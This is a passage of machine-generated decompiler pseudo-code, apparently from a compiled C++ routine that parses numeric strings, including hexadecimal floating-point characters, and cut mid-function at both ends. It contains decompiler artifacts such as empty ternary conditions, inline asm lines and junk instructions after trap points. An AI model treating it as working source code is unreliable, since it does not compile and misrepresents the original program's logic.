									 *_t1042 = _t598 - 1;
									 *_t856 =  &(_t1031[1]);
									_t508 =  *_t1031 & 0x0000ffff;
								}
							}
							if((_t508 & 0x0000ffff) == 0xffff) {
								goto L85;
							} else {
								_t977 =  *_t882;
								 *(_t882 + 8) = 0;
								if(_t977 == 0) {
									L86:
									_t595 = 0;
								} else {
									_t859 =  *((intOrPtr*)( *((intOrPtr*)(_t977 + 0x38))));
									if(_t859 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t977 + 0x50)))) <= 0) {
										_t510 =  *((intOrPtr*)( *_t977 + 0x38))();
									} else {
										_t510 =  *_t859 & 0x0000ffff;
									}
									_t595 = 0;
									sil = (_t510 & 0x0000ffff) != 0xffff;
								}
							}
						}
						_t716 = _a96;
						_t973 =  *_t716;
						if(_t973 == 0) {
							_t500 = 0;
							__eflags = 0;
						} else {
							_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t973 + 0x38))));
							if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t973 + 0x50)))) <= 0) {
								_t716 =  *_t973;
								_t506 = _t716[0x1c]();
							} else {
								_t506 =  *_t716 & 0x0000ffff;
							}
							_t531 = _t506 & 0x0000ffff;
							_t500 = 0 | _t531 != 0x0000ffff;
						}
						dil = 1;
						if(_t595 != _t500) {
							if( *(_t882 + 8) == 0) {
								_t976 =  *_t882;
								if(_t976 == 0) {
									L105:
									 *_t882 = 0;
								} else {
									_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t976 + 0x38))));
									if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t976 + 0x50)))) <= 0) {
										_t716 =  *_t976;
										_t505 = _t716[0x1c]();
									} else {
										_t505 =  *_t716 & 0x0000ffff;
									}
									_t531 = _t505 & 0x0000ffff;
									if(_t531 == 0xffff) {
										goto L105;
									} else {
										 *(_t882 + 0xa) = _t505;
									}
								}
								 *(_t882 + 8) = 1;
							}
							_t501 =  *(_t882 + 0xa) & 0x0000ffff;
							if(_t501 == _a18 || _t501 == _a16) {
								_t974 =  *_t882;
								if(_t974 == 0) {
									L116:
									 *_t882 = 0;
									_t502 = 1;
								} else {
									_t716 =  *((intOrPtr*)(_t974 + 0x38));
									_t1028 =  *_t716;
									if(_t1028 == 0) {
										L113:
										_t716 =  *_t974;
										_t503 = _t716[0x20]();
									} else {
										_t1042 =  *((intOrPtr*)(_t974 + 0x50));
										_t596 =  *_t1042;
										if(_t596 <= 0) {
											goto L113;
										} else {
											 *_t1042 = _t596 - 1;
											 *_t716 =  &(_t1028[1]);
											_t503 =  *_t1028 & 0x0000ffff;
										}
									}
									if((_t503 & 0x0000ffff) == 0xffff) {
										goto L116;
									} else {
										_t502 = 0;
									}
								}
								 *(_t882 + 8) = _t502;
								goto L118;
							}
						}
					}
				}
				_a108 = _t559;
				_a112 = _t1096 + 2;
				_t1058 =  >  ? _v80 :  &_v80;
				_t423 =  *_t1058;
				_v48 = _t1079;
				if(_t423 == 0x7f || _t423 <= 0) {
					_t1080 = _t1090;
					r13d = 0;
					_t1091 =  &_v34;
					r15d = 0;
					while(1) {
						_t897 =  *_t882;
						__eflags = _t897;
						_t560 = 0;
						if(_t897 == 0) {
							goto L146;
						}
						_t822 =  *((intOrPtr*)( *((intOrPtr*)(_t897 + 0x38))));
						__eflags = _t822;
						if(_t822 == 0) {
							L144:
							_t487 =  *((intOrPtr*)( *_t897 + 0x38))();
						} else {
							__eflags =  *( *(_t897 + 0x50));
							if( *( *(_t897 + 0x50)) <= 0) {
								goto L144;
							} else {
								_t487 =  *_t822 & 0x0000ffff;
							}
						}
						_t560 = 0;
						__eflags = (_t487 & 0x0000ffff) - 0xffff;
						dil = (_t487 & 0x0000ffff) != 0xffff;
						__eflags = dil;
						L146:
						_t898 =  *_a96;
						__eflags = _t898;
						if(_t898 == 0) {
							_t424 = 0;
							__eflags = _t560;
							if(_t560 != 0) {
								goto L152;
							} else {
							}
						} else {
							_t830 =  *((intOrPtr*)( *((intOrPtr*)(_t898 + 0x38))));
							__eflags = _t830;
							if(_t830 == 0) {
								L150:
								_t483 =  *((intOrPtr*)( *_t898 + 0x38))();
							} else {
								__eflags =  *( *(_t898 + 0x50));
								if( *( *(_t898 + 0x50)) <= 0) {
									goto L150;
								} else {
									_t483 =  *_t830 & 0x0000ffff;
								}
							}
							__eflags = (_t483 & 0x0000ffff) - 0xffff;
							_t424 = 0 | __eflags != 0x00000000;
							if(__eflags != 0) {
								L152:
								__eflags =  *(_t882 + 8);
								if( *(_t882 + 8) == 0) {
									_t950 =  *_t882;
									__eflags = _t950;
									if(_t950 == 0) {
										L162:
										 *_t882 = 0;
									} else {
										_t827 =  *((intOrPtr*)( *((intOrPtr*)(_t950 + 0x38))));
										__eflags = _t827;
										if(_t827 == 0) {
											L159:
											_t424 =  *((intOrPtr*)( *_t950 + 0x38))();
										} else {
											__eflags =  *( *(_t950 + 0x50));
											if( *( *(_t950 + 0x50)) <= 0) {
												goto L159;
											} else {
												_t424 =  *_t827 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L162;
										} else {
											 *(_t882 + 0xa) = _t424;
										}
									}
									 *(_t882 + 8) = 1;
								}
								_t532 =  *(_t882 + 0xa) & 0x0000ffff;
								_t718 = _t1091;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t550 =  *(_t718 + 2) & 0x0000ffff;
									_t718 = _t718 + 2;
									__eflags = _t550;
									if(_t550 == 0) {
										break;
									}
									__eflags = _t550 - _t532;
									if(_t550 != _t532) {
										continue;
									} else {
										break;
									}
									goto L171;
								}
								_t720 = _t718 -  &_v32 >> 1;
								__eflags = _t720 - 0x15;
								if(_t720 <= 0x15) {
									__eflags = r13d - 0x30;
									if(r13d < 0x30) {
										__eflags = r13d;
										if(r13d != 0) {
											L130:
											_t946 = _a112;
											 *_t946 =  *((intOrPtr*)(_t720 + "0123456789ABCDEFabcdef-+XxPp"));
											_a112 = _t946 + 1;
											r13d = r13d + 1;
											__eflags = r13d;
										} else {
											__eflags = _t720;
											if(_t720 != 0) {
												goto L130;
											} else {
												r13d = 0;
											}
										}
									} else {
										r15d = r15d + 1;
									}
									_t948 =  *_t882;
									__eflags = _t948;
									if(_t948 == 0) {
										L138:
										 *_t882 = 0;
										_t481 = 1;
									} else {
										_t824 =  *((intOrPtr*)(_t948 + 0x38));
										_t1018 =  *_t824;
										__eflags = _t1018;
										if(_t1018 == 0) {
											L135:
											_t485 =  *((intOrPtr*)( *_t948 + 0x40))();
										} else {
											_t1052 =  *((intOrPtr*)(_t948 + 0x50));
											_t590 =  *_t1052;
											__eflags = _t590;
											if(_t590 <= 0) {
												goto L135;
											} else {
												 *_t1052 = _t590 - 1;
												 *_t824 =  &(_t1018[1]);
												_t485 =  *_t1018 & 0x0000ffff;
											}
										}
										__eflags = (_t485 & 0x0000ffff) - 0xffff;
										if((_t485 & 0x0000ffff) == 0xffff) {
											goto L138;
										} else {
											_t481 = 0;
										}
									}
									 *(_t882 + 8) = _t481;
									_a108 = 1;
									continue;
								}
							}
						}
						_a88 = 0;
						_t1092 = _t1080;
						r12d = r15d;
						__eflags = _a108 & 0x00000001;
						if((_a108 & 0x00000001) != 0) {
							goto L169;
						}
						goto L171;
					}
				} else {
					r13d = 0;
					_a32 = _t1090;
					if(_v64 == 0) {
						_t424 = 0;
						__eflags = 0;
						_a88 = _t716;
					} else {
						_t853 =  *_t1079;
						_t424 =  *((intOrPtr*)(_t853 + 0x28))();
						_a88 = _t853;
					}
					_v40 = _t1058;
					_t1084 =  &_a48;
					_a48 = 0;
					asm("movaps xmm0, [0x358dd]");
					asm("movups [ebp+0x40], xmm0");
					_a84 = 0;
					r14d = 0;
					while(1) {
						_t951 =  *_t882;
						_t567 = 0;
						_t592 = 0;
						if(_t951 != 0) {
							_t841 =  *((intOrPtr*)( *((intOrPtr*)(_t951 + 0x38))));
							if(_t841 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t951 + 0x50)))) <= 0) {
								_t495 =  *((intOrPtr*)( *_t951 + 0x38))();
							} else {
								_t495 =  *_t841 & 0x0000ffff;
							}
							_t424 = _t495 & 0x0000ffff;
							_t592 = 0;
							sil = (_t495 & 0x0000ffff) != 0xffff;
						}
						_t832 = _a96;
						_t952 =  *_t832;
						if(_t952 != 0) {
							_t832 =  *((intOrPtr*)( *((intOrPtr*)(_t952 + 0x38))));
							if(_t832 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t952 + 0x50)))) <= 0) {
								_t832 =  *_t952;
								_t494 = _t832[0x1c]();
							} else {
								_t494 =  *_t832 & 0x0000ffff;
							}
							_t424 = _t494 & 0x0000ffff;
							_t567 = 0;
							dil = (_t494 & 0x0000ffff) != 0xffff;
						}
						if(_t592 == _t567) {
							break;
						}
						if( *(_t882 + 8) == 0) {
							_t970 =  *_t882;
							if(_t970 == 0) {
								L236:
								 *_t882 = 0;
							} else {
								_t832 =  *((intOrPtr*)( *((intOrPtr*)(_t970 + 0x38))));
								if(_t832 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t970 + 0x50)))) <= 0) {
									_t832 =  *_t970;
									_t493 = _t832[0x1c]();
								} else {
									_t493 =  *_t832 & 0x0000ffff;
								}
								_t531 = _t493 & 0x0000ffff;
								if(_t531 == 0xffff) {
									goto L236;
								} else {
									 *(_t882 + 0xa) = _t493;
								}
							}
							 *(_t882 + 8) = 1;
						}
						_t424 =  *(_t882 + 0xa) & 0x0000ffff;
						_t954 =  &_v34;
						asm("o16 nop [cs:eax+eax]");
						while(1) {
							_t555 =  *(_t954 + 2) & 0x0000ffff;
							_t954 = _t954 + 2;
							if(_t555 == 0) {
								break;
							}
							if(_t555 != _t424) {
								continue;
							} else {
							}
							break;
						}
						_t956 = _t954 -  &_v32 >> 1;
						if(_t956 > 0x15) {
							__eflags = _a72 - 0xf;
							_t958 =  <=  ? _t1084 : _a48;
							__eflags =  *((char*)(_t958 + _t1090));
							if( *((char*)(_t958 + _t1090)) == 0) {
								break;
							} else {
								__eflags = _a88;
								if(_a88 == 0) {
									break;
								} else {
									__eflags = _t424 - _a88;
									if(_t424 != _a88) {
										break;
									} else {
										_t1099 = _a64;
										__eflags = _t1099 - 0xfffffffe;
										if(_t1099 >= 0xfffffffe) {
											_t489 = L00430CE0(_t530, _t555, _t602, _t832, "string too long", _t1042, _t1058);
											asm("ud2");
											_t1060 = _t832;
											_t837 = _a72;
											__eflags = _t837 - 0x10;
											if(_t837 >= 0x10) {
												_t962 = _a48;
												__eflags = _t837 + 1 - 0x1000;
												if(_t837 + 1 >= 0x1000) {
													_t962 =  *((intOrPtr*)(_t962 - 8));
												}
												_t489 = E00402090(_t489, _t962);
											}
											_t838 = _v56;
											__eflags = _t838 - 0x10;
											if(_t838 >= 0x10) {
												_t961 = _v80;
												_t838 = _t838 + 1;
												__eflags = _t838 - 0x1000;
												if(_t838 >= 0x1000) {
													_t961 =  *((intOrPtr*)(_t961 - 8));
												}
												_t489 = E00402090(_t489, _t961);
											}
											E0044CEA0(_t489, _t1060);
											asm("ud2");
											 *0x44eb4d =  *0x44eb4d + r8b;
											 *_t838 =  *_t838 + 0x64;
											_t413 = _t838 - 0x6f6f6f70;
											 *_t413 =  *(_t838 - 0x6f6f6f70) + _t555;
											__eflags =  *_t413;
											_push(_t1062);
											return 0x64;
										} else {
											_t1100 = _t1099 + 1;
											r8d = 0;
											_t492 = E00404270(_t424,  &_a40, _t1100);
											__eflags = _t492;
											if(_t492 != 0) {
												__eflags = _a72 - 0xf;
												_t967 =  <=  ? _t1084 : _a48;
												 *((char*)(( <=  ? _t1084 : _a48) + _a64)) = 0;
												__eflags = _a72 - 0xf;
												_t847 =  <=  ? _t1084 : _a48;
												__eflags = _t847;
												_a64 = _t1100;
												 *((char*)(_t847 + _t1100)) = 0;
											}
											_t1090 = _t1090 + 1;
											goto L208;
										}
									}
								}
							}
						} else {
							if(r13d < 0x30) {
								__eflags = r13d;
								if(r13d != 0) {
									L205:
									_t968 = _a112;
									 *_t968 =  *((intOrPtr*)(_t956 + "0123456789ABCDEFabcdef-+XxPp"));
									_a112 = _t968 + 1;
									r13d = r13d + 1;
									__eflags = r13d;
								} else {
									__eflags = _t956;
									if(_t956 != 0) {
										goto L205;
									} else {
										r13d = 0;
									}
								}
							} else {
								_a84 = _a84 + 1;
							}
							_t850 =  <=  ? _t1084 : _a48;
							_t531 =  *(_t850 + _t1090);
							_a108 = 1;
							if(_t531 != 0x7f) {
								_t531 = _t531 + 1;
								 *(_t850 + _t1090) = _t531;
							}
							L208:
							_t964 =  *_t882;
							if(_t964 == 0) {
								L191:
								 *_t882 = 0;
								_t424 = 1;
								 *(_t882 + 8) = 1;
							} else {
								_t843 =  *((intOrPtr*)(_t964 + 0x38));
								_t1027 =  *_t843;
								if(_t1027 == 0) {
									L212:
									_t496 =  *((intOrPtr*)( *_t964 + 0x40))();
								} else {
									_t1042 =  *((intOrPtr*)(_t964 + 0x50));
									_t593 =  *_t1042;
									if(_t593 <= 0) {
										goto L212;
									} else {
										 *_t1042 = _t593 - 1;
										_t183 =  &(_t1027[1]); // 0x3
										 *_t843 = _t183;
										_t496 =  *_t1027 & 0x0000ffff;
									}
								}
								if((_t496 & 0x0000ffff) == 0xffff) {
									goto L191;
								} else {
									_t424 = 0;
									 *(_t882 + 8) = 0;
								}
							}
							continue;
						}
						goto L530;
					}
					__eflags = _t1090;
					if(_t1090 == 0) {
						_t592 = 0;
						__eflags = 0;
						goto L256;
					} else {
						__eflags = _a72 - 0xf;
						_t836 =  <=  ? _t1084 : _a48;
						_t553 =  *((intOrPtr*)(_t836 + _t1090));
						_t424 = 0;
						__eflags = _t553;
						_t547 = _t531 & 0xffffff00 | _t553 > 0x00000000;
						__eflags = _t553;
						sil = _t553 <= 0;
						__eflags = sil;
						if(sil <= 0) {
							L256:
							_t833 = _a72;
						} else {
							_t424 = _t547;
							_t1094 = _t1090 + _t836;
							__eflags = _t1094;
							if(_t1094 == 0) {
								goto L256;
							} else {
								_t833 = _a72;
								__eflags = _t833 - 0xf;
								_t1085 =  >  ? _a48 : _t1084;
								_t1053 = _v40;
								while(1) {
									_t548 =  *_t1053 & 0x000000ff;
									__eflags = _t548 - 0x7f;
									if(_t548 == 0x7f) {
										break;
									}
									__eflags = _t1094 - 1;
									_t554 =  *(_t1085 + _t1094 - 1) & 0x000000ff;
									if(_t1094 != 1) {
										__eflags = _t548 - _t554;
										if(_t548 != _t554) {
											goto L379;
										} else {
											goto L251;
										}
									} else {
										__eflags = _t548 - _t554;
										if(_t548 >= _t554) {
											L251:
											_t1094 = _t1094 - 1;
											__eflags =  *(_t1053 + 1);
											if( *(_t1053 + 1) > 0) {
												_t1053 = _t1053 + 1;
												__eflags = _t1053;
											}
											__eflags = _t1094;
											if(_t1094 != 0) {
												continue;
											} else {
												break;
											}
										} else {
											L379:
											sil = 1;
										}
									}
									goto L257;
								}
								_t592 = 0;
							}
						}
					}
					L257:
					__eflags = _t833 - 0x10;
					_t1092 = _a32;
					r12d = _a84;
					if(_t833 >= 0x10) {
						_t953 = _a48;
						__eflags = _t833 + 1 - 0x1000;
						if(_t833 + 1 >= 0x1000) {
							_t953 =  *((intOrPtr*)(_t953 - 8));
						}
						_t424 = E00402090(_t424, _t953);
					}
					_a88 = _t592;
					__eflags = _a108 & 0x00000001;
					if((_a108 & 0x00000001) != 0) {
						L169:
						__eflags = r13d;
						if(r13d == 0) {
							_t819 = _a112;
							 *_t819 = 0x30;
							_t820 = _t819 + 1;
							__eflags = _t820;
							_a112 = _t820;
						}
						goto L171;
					} else {
						L171:
						_t900 =  *_t882;
						_t570 = 0;
						__eflags = _t900;
						_t561 = 0;
						r15d = r12d;
						if(_t900 != 0) {
							_t817 =  *((intOrPtr*)( *((intOrPtr*)(_t900 + 0x38))));
							__eflags = _t817;
							if(_t817 == 0) {
								L175:
								_t479 =  *((intOrPtr*)( *_t900 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t900 + 0x50));
								if( *( *(_t900 + 0x50)) <= 0) {
									goto L175;
								} else {
									_t479 =  *_t817 & 0x0000ffff;
								}
							}
							_t424 = _t479 & 0x0000ffff;
							_t561 = 0;
							__eflags = (_t479 & 0x0000ffff) - 0xffff;
							dil = (_t479 & 0x0000ffff) != 0xffff;
							__eflags = dil;
						}
						_t901 =  *_a96;
						__eflags = _t901;
						if(_t901 != 0) {
							_t814 =  *((intOrPtr*)( *((intOrPtr*)(_t901 + 0x38))));
							__eflags = _t814;
							if(_t814 == 0) {
								L181:
								_t478 =  *((intOrPtr*)( *_t901 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t901 + 0x50));
								if( *( *(_t901 + 0x50)) <= 0) {
									goto L181;
								} else {
									_t478 =  *_t814 & 0x0000ffff;
								}
							}
							_t424 = _t478 & 0x0000ffff;
							_t570 = 0;
							__eflags = (_t478 & 0x0000ffff) - 0xffff;
							sil = (_t478 & 0x0000ffff) != 0xffff;
							__eflags = sil;
						}
						__eflags = _t561 - _t570;
						if(_t561 == _t570) {
							L274:
							__eflags = r13d;
							if(r13d == 0) {
								goto L284;
							}
						} else {
							__eflags =  *(_t882 + 8);
							_t1050 = _v48;
							if( *(_t882 + 8) == 0) {
								_t944 =  *_t882;
								__eflags = _t944;
								if(_t944 == 0) {
									L266:
									 *_t882 = 0;
								} else {
									_t811 =  *((intOrPtr*)( *((intOrPtr*)(_t944 + 0x38))));
									__eflags = _t811;
									if(_t811 == 0) {
										L263:
										_t477 =  *((intOrPtr*)( *_t944 + 0x38))();
									} else {
										__eflags =  *( *(_t944 + 0x50));
										if( *( *(_t944 + 0x50)) <= 0) {
											goto L263;
										} else {
											_t477 =  *_t811 & 0x0000ffff;
										}
									}
									__eflags = (_t477 & 0x0000ffff) - 0xffff;
									if((_t477 & 0x0000ffff) == 0xffff) {
										goto L266;
									} else {
										 *(_t882 + 0xa) = _t477;
									}
								}
								 *(_t882 + 8) = 1;
							}
							_t806 =  *_t1050;
							_t424 =  *((intOrPtr*)(_t806 + 0x20))();
							__eflags = ( *(_t882 + 0xa) & 0x0000ffff) - _t424;
							if(( *(_t882 + 0xa) & 0x0000ffff) != _t424) {
								r12d = r15d;
								goto L274;
							} else {
								E0043DFF0(_t424);
								 *_a112 =  *((intOrPtr*)( *_t806));
								_t942 =  *_t882;
								__eflags = _t942;
								r12d = r15d;
								if(_t942 == 0) {
									L279:
									 *_t882 = 0;
									_t424 = 1;
								} else {
									_t808 =  *((intOrPtr*)(_t942 + 0x38));
									_t1014 =  *_t808;
									__eflags = _t1014;
									if(_t1014 == 0) {
										L276:
										_t475 =  *((intOrPtr*)( *_t942 + 0x40))();
										r12d = r15d;
									} else {
										_t1051 =  *((intOrPtr*)(_t942 + 0x50));
										_t588 =  *_t1051;
										__eflags = _t588;
										if(_t588 <= 0) {
											goto L276;
										} else {
											 *_t1051 = _t588 - 1;
											 *_t808 =  &(_t1014[1]);
											_t475 =  *_t1014 & 0x0000ffff;
										}
									}
									__eflags = (_t475 & 0x0000ffff) - 0xffff;
									if((_t475 & 0x0000ffff) == 0xffff) {
										goto L279;
									} else {
										_t424 = 0;
									}
								}
								_a112 = _a112 + 1;
								 *(_t882 + 8) = _t424;
								__eflags = r13d;
								if(r13d == 0) {
									while(1) {
										L284:
										_t935 =  *_t882;
										_t584 = 0;
										__eflags = _t935;
										_t566 = 0;
										if(_t935 == 0) {
											goto L290;
										}
										_t796 =  *((intOrPtr*)( *((intOrPtr*)(_t935 + 0x38))));
										__eflags = _t796;
										if(_t796 == 0) {
											L288:
											_t470 =  *((intOrPtr*)( *_t935 + 0x38))();
										} else {
											__eflags =  *( *(_t935 + 0x50));
											if( *( *(_t935 + 0x50)) <= 0) {
												goto L288;
											} else {
												_t470 =  *_t796 & 0x0000ffff;
											}
										}
										_t424 = _t470 & 0x0000ffff;
										_t566 = 0;
										__eflags = (_t470 & 0x0000ffff) - 0xffff;
										dil = (_t470 & 0x0000ffff) != 0xffff;
										__eflags = dil;
										L290:
										_t936 =  *_a96;
										__eflags = _t936;
										if(_t936 != 0) {
											_t804 =  *((intOrPtr*)( *((intOrPtr*)(_t936 + 0x38))));
											__eflags = _t804;
											if(_t804 == 0) {
												L294:
												_t469 =  *((intOrPtr*)( *_t936 + 0x38))();
											} else {
												__eflags =  *( *(_t936 + 0x50));
												if( *( *(_t936 + 0x50)) <= 0) {
													goto L294;
												} else {
													_t469 =  *_t804 & 0x0000ffff;
												}
											}
											_t424 = _t469 & 0x0000ffff;
											_t584 = 0;
											__eflags = (_t469 & 0x0000ffff) - 0xffff;
											sil = (_t469 & 0x0000ffff) != 0xffff;
											__eflags = sil;
										}
										__eflags = _t566 - _t584;
										if(_t566 != _t584) {
											__eflags =  *(_t882 + 8);
											if( *(_t882 + 8) == 0) {
												_t939 =  *_t882;
												__eflags = _t939;
												if(_t939 == 0) {
													L305:
													 *_t882 = 0;
												} else {
													_t801 =  *((intOrPtr*)( *((intOrPtr*)(_t939 + 0x38))));
													__eflags = _t801;
													if(_t801 == 0) {
														L302:
														_t468 =  *((intOrPtr*)( *_t939 + 0x38))();
													} else {
														__eflags =  *( *(_t939 + 0x50));
														if( *( *(_t939 + 0x50)) <= 0) {
															goto L302;
														} else {
															_t468 =  *_t801 & 0x0000ffff;
														}
													}
													__eflags = (_t468 & 0x0000ffff) - 0xffff;
													if((_t468 & 0x0000ffff) == 0xffff) {
														goto L305;
													} else {
														 *(_t882 + 0xa) = _t468;
													}
												}
												 *(_t882 + 8) = 1;
											}
											_t424 =  *(_t882 + 0xa) & 0x0000ffff;
											__eflags = ( *(_t882 + 0xa) & 0x0000ffff) - _v32;
											if(( *(_t882 + 0xa) & 0x0000ffff) == _v32) {
												_t937 =  *_t882;
												__eflags = _t937;
												if(_t937 == 0) {
													L315:
													 *_t882 = 0;
													_t467 = 1;
													goto L282;
												} else {
													_t798 =  *((intOrPtr*)(_t937 + 0x38));
													_t1010 =  *_t798;
													__eflags = _t1010;
													if(_t1010 == 0) {
														L312:
														_t471 =  *((intOrPtr*)( *_t937 + 0x40))();
													} else {
														_t1049 =  *((intOrPtr*)(_t937 + 0x50));
														_t585 =  *_t1049;
														__eflags = _t585;
														if(_t585 <= 0) {
															goto L312;
														} else {
															 *_t1049 = _t585 - 1;
															 *_t798 =  &(_t1010[1]);
															_t471 =  *_t1010 & 0x0000ffff;
														}
													}
													__eflags = (_t471 & 0x0000ffff) - 0xffff;
													if((_t471 & 0x0000ffff) == 0xffff) {
														goto L315;
													} else {
														_t467 = 0;
														L282:
														 *(_t882 + 8) = _t467;
														r12d = r12d - 1;
														__eflags = r12d;
														_t424 = 1;
														_a108 = 1;
														continue;
													}
												}
											}
										}
										__eflags = r12d;
										if(r12d < 0) {
											_t793 = _a112;
											 *_t793 = 0x30;
											_a112 = _t793 + 1;
											r12d = r12d + 1;
											__eflags = r12d;
										}
										r15d = r12d;
										goto L319;
									}
								}
							}
						}
						L319:
						_t1081 =  &_v34;
						while(1) {
							L332:
							_t902 =  *_t882;
							_t571 = 0;
							__eflags = _t902;
							_t562 = 0;
							if(_t902 == 0) {
								goto L338;
							}
							_t782 =  *((intOrPtr*)( *((intOrPtr*)(_t902 + 0x38))));
							__eflags = _t782;
							if(_t782 == 0) {
								L336:
								_t466 =  *((intOrPtr*)( *_t902 + 0x38))();
							} else {
								__eflags =  *( *(_t902 + 0x50));
								if( *( *(_t902 + 0x50)) <= 0) {
									goto L336;
								} else {
									_t466 =  *_t782 & 0x0000ffff;
								}
							}
							_t424 = _t466 & 0x0000ffff;
							_t562 = 0;
							__eflags = (_t466 & 0x0000ffff) - 0xffff;
							dil = (_t466 & 0x0000ffff) != 0xffff;
							__eflags = dil;
							L338:
							_t903 =  *_a96;
							__eflags = _t903;
							if(_t903 != 0) {
								_t790 =  *((intOrPtr*)( *((intOrPtr*)(_t903 + 0x38))));
								__eflags = _t790;
								if(_t790 == 0) {
									L342:
									_t465 =  *((intOrPtr*)( *_t903 + 0x38))();
								} else {
									__eflags =  *( *(_t903 + 0x50));
									if( *( *(_t903 + 0x50)) <= 0) {
										goto L342;
									} else {
										_t465 =  *_t790 & 0x0000ffff;
									}
								}
								_t424 = _t465 & 0x0000ffff;
								_t571 = 0;
								__eflags = (_t465 & 0x0000ffff) - 0xffff;
								sil = (_t465 & 0x0000ffff) != 0xffff;
								__eflags = sil;
							}
							__eflags = _t562 - _t571;
							if(_t562 != _t571) {
								__eflags =  *(_t882 + 8);
								if( *(_t882 + 8) == 0) {
									_t934 =  *_t882;
									__eflags = _t934;
									if(_t934 == 0) {
										L353:
										 *_t882 = 0;
									} else {
										_t787 =  *((intOrPtr*)( *((intOrPtr*)(_t934 + 0x38))));
										__eflags = _t787;
										if(_t787 == 0) {
											L350:
											_t424 =  *((intOrPtr*)( *_t934 + 0x38))();
										} else {
											__eflags =  *( *(_t934 + 0x50));
											if( *( *(_t934 + 0x50)) <= 0) {
												goto L350;
											} else {
												_t424 =  *_t787 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L353;
										} else {
											 *(_t882 + 0xa) = _t424;
										}
									}
									 *(_t882 + 8) = 1;
								}
								_t541 =  *(_t882 + 0xa) & 0x0000ffff;
								_t778 = _t1081;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t552 =  *(_t778 + 2) & 0x0000ffff;
									_t778 = _t778 + 2;
									__eflags = _t552;
									if(_t552 == 0) {
										break;
									}
									__eflags = _t552 - _t541;
									if(_t552 != _t541) {
										continue;
									} else {
										break;
									}
									L515:
									__eflags = r10b & 0x00000001;
									_t1072 =  ==  ? _t1092 : _t1071;
									__eflags = _a88;
									_t1073 =  !=  ? _t1092 :  ==  ? _t1092 : _t1071;
									 *((char*)( !=  ? _t1092 :  ==  ? _t1092 : _t1071)) = 0;
									 *_a232 = r9d;
									_t725 = _v56;
									__eflags = _t725 - 0x10;
									if(_t725 >= 0x10) {
										_t906 = _v80;
										__eflags = _t725 + 1 - 0x1000;
										if(_t725 + 1 >= 0x1000) {
											_t906 =  *((intOrPtr*)(_t906 - 8));
										}
										E00402090(_t424, _t906);
									}
									__eflags = 0;
									return 0;
									goto L530;
								}
								_t780 = _t778 -  &_v32 >> 1;
								__eflags = _t780 - 0x15;
								if(_t780 <= 0x15) {
									__eflags = r13d - 0x2f;
									if(r13d <= 0x2f) {
										_t932 = _a112;
										 *_t932 =  *((intOrPtr*)(_t780 + "0123456789ABCDEFabcdef-+XxPp"));
										_a112 = _t932 + 1;
										r13d = r13d + 1;
										__eflags = r13d;
									}
									_t929 =  *_t882;
									__eflags = _t929;
									if(_t929 == 0) {
										L330:
										 *_t882 = 0;
										_t461 = 1;
									} else {
										_t784 =  *((intOrPtr*)(_t929 + 0x38));
										_t1006 =  *_t784;
										__eflags = _t1006;
										if(_t1006 == 0) {
											L327:
											_t462 =  *((intOrPtr*)( *_t929 + 0x40))();
										} else {
											_t1048 =  *((intOrPtr*)(_t929 + 0x50));
											_t582 =  *_t1048;
											__eflags = _t582;
											if(_t582 <= 0) {
												goto L327;
											} else {
												 *_t1048 = _t582 - 1;
												 *_t784 =  &(_t1006[1]);
												_t462 =  *_t1006 & 0x0000ffff;
											}
										}
										__eflags = (_t462 & 0x0000ffff) - 0xffff;
										if((_t462 & 0x0000ffff) == 0xffff) {
											goto L330;
										} else {
											_t461 = 0;
										}
									}
									 *(_t882 + 8) = _t461;
									_t424 = 1;
									_a108 = 1;
									continue;
								}
							}
							r10d = _a108;
							__eflags = r10b & 0x00000001;
							if((r10b & 0x00000001) != 0) {
								_t904 =  *_t882;
								_t572 = 0;
								__eflags = _t904;
								_t563 = 0;
								_t1071 = _a112;
								r9d = r15d;
								if(_t904 != 0) {
									_t776 =  *((intOrPtr*)( *((intOrPtr*)(_t904 + 0x38))));
									__eflags = _t776;
									if(_t776 == 0) {
										L365:
										_t460 =  *((intOrPtr*)( *_t904 + 0x38))();
										_t1071 = _a112;
										r9d = r15d;
										r10d = _a108;
									} else {
										__eflags =  *( *(_t904 + 0x50));
										if( *( *(_t904 + 0x50)) <= 0) {
											goto L365;
										} else {
											_t460 =  *_t776 & 0x0000ffff;
										}
									}
									_t424 = _t460 & 0x0000ffff;
									_t563 = 0;
									__eflags = (_t460 & 0x0000ffff) - 0xffff;
									dil = (_t460 & 0x0000ffff) != 0xffff;
									__eflags = dil;
								}
								_t905 =  *_a96;
								__eflags = _t905;
								if(_t905 != 0) {
									_t773 =  *((intOrPtr*)( *((intOrPtr*)(_t905 + 0x38))));
									__eflags = _t773;
									if(_t773 == 0) {
										L371:
										_t459 =  *((intOrPtr*)( *_t905 + 0x38))();
										_t1071 = _a112;
										r9d = r15d;
										r10d = _a108;
									} else {
										__eflags =  *( *(_t905 + 0x50));
										if( *( *(_t905 + 0x50)) <= 0) {
											goto L371;
										} else {
											_t459 =  *_t773 & 0x0000ffff;
										}
									}
									_t424 = _t459 & 0x0000ffff;
									_t572 = 0;
									__eflags = (_t459 & 0x0000ffff) - 0xffff;
									sil = (_t459 & 0x0000ffff) != 0xffff;
									__eflags = sil;
								}
								__eflags = _t563 - _t572;
								if(_t563 != _t572) {
									__eflags =  *(_t882 + 8);
									if( *(_t882 + 8) == 0) {
										_t927 =  *_t882;
										__eflags = _t927;
										if(_t927 == 0) {
											L383:
											 *_t882 = 0;
										} else {
											_t770 =  *((intOrPtr*)( *((intOrPtr*)(_t927 + 0x38))));
											__eflags = _t770;
											if(_t770 == 0) {
												L380:
